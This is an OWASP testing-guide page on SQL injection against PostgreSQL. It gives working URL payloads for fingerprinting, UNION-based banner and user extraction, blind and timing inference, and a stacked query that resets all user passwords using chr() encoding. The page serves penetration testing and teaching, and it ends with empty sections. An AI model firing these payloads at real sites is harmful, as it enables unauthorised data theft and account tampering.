OWASP Backend Security Project Testing PostgreSQL

= Overview =

In this paragraph we're going to describe some SQL Injection techniques for PostgreSQL.

= Description =

Identifing PostgreSQL
When a SQL Injection has been found you need to carefully fingerprint backend database engine. You can determine that backend database engine is PostgreSQL by using one of the above peculiarities:


 * String concatenation by using the operator: ||
 * Casting by using the operator: ::

Examples: http://www.example.com/store.php?id=1 AND '11'='1'||'1' http://www.example.com/store.php?id=1 AND 1::char=chr(49)

PostgreSQL Peculiarities

 * PHP Connector allow multiple statements to be executed by using ; as a statement seperator
 * SQL Statement can be truncated on vulnerable URL by appending comment char: --.

Example: http://www.example.com/store.php?id=1--hello world http://www.example.com/store.php?id=1;--hello world

Banner Grabbing
Function version can be used to accomplish this task.

select version: PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)

Example:

http://www.example.com/store.php?id=1 Acme Biscuits

http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version,NULL LIMIT 1 OFFSET 1-- PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)

Blind Injection
For blind SQL Injection you should take in consideration internal provided functions:

Inference

 * String Length
 * LENGTH(str)
 * Extract a substring from a given string
 * SUBSTR(str,index,offset)
 * String representation with no single quotes
 * CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)

Timing Attacks
pg_sleep is all you need

Single Quote (un)Escape
String can be encoded, to prevent single quotes escaping, by using chr function.

* chr(n): Returns the character whose ascii value corresponds to the number * ascii(n): Returns the ascii value corresponds to the character

Let say you want to encode the string 'root': select ascii('r') 114  select ascii('o') 111  select ascii('t') 116

We can encode 'root' with: chr(114)||chr(111)||chr(111)||chr(116)

Example: http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--

Current User
Current user can be retrieved with the following SQL SELECT statements:

SELECT user SELECT current_user SELECT session_user SELECT usename FROM pg_user SELECT getpgusername

Examples: http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL-- http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--

Current Database
Native function current_database return current database name.

Example:

http://www.example.com/store.php?id=1 UNION ALL SELECT current_database,NULL,NULL--

Smashing dblink
= References =

= Tools =